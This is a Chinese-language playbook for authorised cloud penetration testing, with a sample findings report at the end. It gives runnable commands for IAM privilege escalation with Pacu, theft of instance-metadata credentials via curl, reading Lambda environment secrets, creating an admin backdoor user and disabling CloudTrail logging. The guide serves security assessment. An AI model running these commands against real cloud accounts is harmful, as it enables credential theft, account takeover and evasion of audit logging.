conducting-cloud-penetration-testing

进行云渗透测试

适用场景

• 在生产部署前对云环境进行授权安全评估时
• 重大架构变更或迁移后验证云安全控制措施时
• 合规要求规定对云基础设施进行年度渗透测试时
• 通过模拟真实的云攻击场景测试事件响应准备度时
• 评估跨多账户或多云环境的横向移动风险时

不适用于：对云账户进行未授权测试、测试云提供商基础设施本身（已由共享责任模型覆盖），或未经云提供商明确批准的 DDoS 模拟。

前置条件

• 云账户所有者的书面授权和范围定义文件
• AWS、Azure 或 GCP 渗透测试策略确认（AWS 大多数服务不再需要预先审批）
• 隔离测试账户或明确范围的生产账户（含紧急访问程序）
• 已安装云专用攻击工具：Pacu（AWS）、ScoutSuite、Prowler、CloudFox
• 用于发现分类的 MITRE ATT&CK 云矩阵

工作流程

步骤 1：定义范围和交战规则

基于共享责任模型建立测试边界。客户负责测试配置、IAM 策略、应用安全和数据保护。云提供商管理物理基础设施、虚拟机管理程序和托管服务内部组件。

云渗透测试范围文档
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目标: AWS 账户 123456789012（生产环境）
测试窗口: 2025-02-24 08:00 UTC 至 2025-02-28 18:00 UTC
授权: 由 CISO 签署，日期 2025-02-20

测试范围内:
  - IAM 用户、角色、策略和跨账户信任
  - EC2 实例、安全组和网络 ACL
  - S3 存储桶策略和数据访问控制
  - Lambda 函数、API Gateway 端点
  - RDS/DynamoDB 访问控制和加密
  - EKS 集群 RBAC 和网络策略
  - CloudTrail、Config 和监控空白

测试范围外:
  - AWS 托管服务内部（RDS 引擎、Lambda 运行时）
  - DDoS 攻击或容量测试
  - 物理基础设施或虚拟机管理程序攻击
  - 对 AWS 支持进行社会工程

紧急联系: [email protected], +1-555-0199

步骤 2：侦察和云枚举

使用云专用工具枚举攻击面：暴露的服务、公共 IP、S3 存储桶、IAM 配置和元数据端点。

# ScoutSuite 多云评估
scout suite aws --profile target-account --report-dir ./scout-report

# Prowler 全面 AWS 安全评估
prowler aws -M json-ocsf -o ./prowler-output --profile target-account

# CloudFox 用于识别权限提升路径
cloudfox aws --profile target-account all-checks

# 枚举公开 S3 存储桶
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
  aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done

# 检查 IMDS v1（易受 SSRF 攻击）
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table

步骤 3：IAM 权限提升测试

使用 Pacu 识别并利用 IAM 错误配置，从低权限起点提升到管理员访问权限。

# 初始化 Pacu 会话
pacu

# 设置窃取或测试凭据
set_keys --key-alias test-creds

# 运行 IAM 枚举模块
run iam__enum_users_roles_policies_groups
run iam__enum_permissions

# 检查权限提升路径
run iam__privesc_scan

# 需测试的常见提升路径:
# 1. iam:CreatePolicyVersion - 创建具有管理员访问权限的新策略版本
# 2. iam:AttachUserPolicy - 将 AdministratorAccess 附加到自身
# 3. iam:PassRole + lambda:CreateFunction - 创建带管理员角色的 Lambda
# 4. iam:PassRole + ec2:RunInstances - 启动带管理员实例配置文件的 EC2
# 5. sts:AssumeRole - 无 MFA 条件的跨账户角色假设

步骤 4：SSRF 到云元数据服务利用

测试 Web 应用程序是否存在服务端请求伪造（Server-Side Request Forgery，SSRF）漏洞，这些漏洞可访问位于 169.254.169.254 的实例元数据服务（Instance Metadata Service，IMDS），以窃取 IAM 角色凭据。

# 测试 IMDS v1 访问（无需令牌）
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 测试 IMDS v2（需要令牌 - 更安全）
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS 等效接口
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP 元数据服务
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

步骤 5：横向移动和数据访问

测试跨账户角色假设、VPC 对等连接和共享资源访问，以绘制横向移动机会图。

# 枚举跨账户角色信任
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table

# 测试跨账户假设
aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
  --role-session-name pentest-session

# 使用窃取的凭据枚举可访问的 S3 数据
aws s3 ls --recursive s3://target-bucket/ --summarize

# 检查 Lambda 环境变量中的密钥
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' --output json 2>/dev/null
done

步骤 6：持久化和检测规避测试

测试组织的监控是否能检测持久化机制，例如新 IAM 用户、访问密钥、Lambda 后门或禁用 CloudTrail。

# 测试: 创建后门 IAM 用户（仅限授权测试）
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 测试: 禁用 CloudTrail（验证 GuardDuty 告警）
aws cloudtrail stop-logging --name management-trail

# 测试: 创建 Lambda 用于持久化（仅限授权测试）
# 验证: GuardDuty 是否生成 Stealth:IAMUser/CloudTrailLoggingDisabled?
# 验证: Security Hub 是否对新管理员用户发出告警?

# 清理: 测试后删除所有持久化产物
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail

步骤 7：按 MITRE ATT&CK 映射报告发现

记录所有发现，映射到 MITRE ATT&CK 云矩阵，包含严重性、概念验证、业务影响和修复建议。

核心概念

术语	定义
共享责任模型（Shared Responsibility Model）	云安全框架，提供商负责保护基础设施，客户负责保护数据、配置和访问控制
IMDS	实例元数据服务（Instance Metadata Service），位于 169.254.169.254，提供实例身份、凭据和配置数据；IMDSv2 需要基于令牌的访问
权限提升（Privilege Escalation）	利用 IAM 错误配置，从有限权限提升到云账户内的管理员访问权限
横向移动（Lateral Movement）	使用被入侵的凭据或信任关系访问其他账户、VPC 或云提供商中的资源
Pacu	开源 AWS 利用框架，用于渗透测试，提供枚举、提权和持久化模块
ScoutSuite	多云安全审计工具，收集配置数据并生成含风险发现的 HTML 报告
MITRE ATT&CK Cloud	云环境专用的对手战术和技术矩阵，包括初始访问、执行、持久化和数据渗出

工具与系统

• Pacu：专注于 AWS 的利用框架，包含 IAM 枚举、权限提升和持久化测试模块
• ScoutSuite：多云（AWS、Azure、GCP）安全审计工具，从 API 数据收集生成综合风险报告
• CloudFox：AWS 和 Azure 枚举工具，用于识别攻击路径、权限提升向量和数据访问机会
• Prowler：开源云安全评估工具，包含 AWS、Azure 和 GCP 的 300+ 项检查
• Cartography：基于 Neo4j 的工具，绘制云资源之间的关系以进行可视化攻击路径分析

常见场景

场景：Web 应用程序中的 SSRF 导致完整账户沦陷

场景背景：渗透测试人员在运行 IMDSv1 的 EC2 实例上托管的 Web 应用程序中发现 SSRF 漏洞。该实例具有拥有广泛 S3 和 Lambda 权限的 IAM 角色。

方法：

1. 利用 SSRF 访问 http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
2. 提取临时 IAM 凭据（AccessKeyId、SecretAccessKey、SessionToken）
3. 使用凭据枚举可访问的 S3 存储桶并下载敏感数据
4. 检查角色是否具有 iam:PassRole + lambda:CreateFunction 以提升到管理员权限
5. 记录从 SSRF 到账户级沦陷的完整攻击链
6. 建议：强制使用 IMDSv2，缩小 IAM 角色范围，添加阻止应用层访问 IMDS 的 VPC 端点策略

常见陷阱：未单独测试 IMDSv2 和 IMDSv1 强制执行会给出不完整的结果。未清理测试产物（后门用户、Lambda 函数）会在参与结束后留下真实漏洞。

输出格式

云渗透测试报告
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目标: AWS 账户 123456789012（生产环境）
测试周期: 2025-02-24 至 2025-02-28
方法论: MITRE ATT&CK Cloud + OWASP 云测试指南
测试人员: 安全团队 - 授权参与

执行摘要:
  从只读开发者凭据开始，评估在 3 小时内通过
  IAM 权限提升链实现了对生产账户的完整管理员访问。
  跨 7 个 ATT&CK 战术识别出 47 个发现。

严重发现:
[PT-001] 通过 iam:CreatePolicyVersion 的 IAM 权限提升
  ATT&CK: T1098.001（账户操控：附加云凭据）
  严重程度: 严重
  起始点: 具有 iam:CreatePolicyVersion 权限的开发者角色
  影响: 对所有账户资源的完整管理员访问
  证据: 创建了向测试角色授予 iam:* 和 s3:* 的策略版本
  修复: 从开发者角色中删除 iam:CreatePolicyVersion，添加权限边界

[PT-002] SSRF 到 IMDS 凭据窃取
  ATT&CK: T1552.005（不安全凭据：云实例元数据 API）
  严重程度: 严重
  起始点: URL 参数易受 SSRF 攻击的 Web 应用程序
  影响: 提取了具有 S3 和 Lambda 访问权限的 IAM 角色凭据
  修复: 强制使用 IMDSv2，应用 WAF SSRF 规则，限制 IAM 角色范围

按 MITRE ATT&CK 战术划分的发现摘要:
  初始访问:     4 个发现
  执行:         3 个发现
  持久化:       6 个发现
  权限提升:     8 个发现（3 个严重）
  防御规避:     5 个发现
  凭据访问:     7 个发现
  发现:        14 个发现
  总计:        47 个发现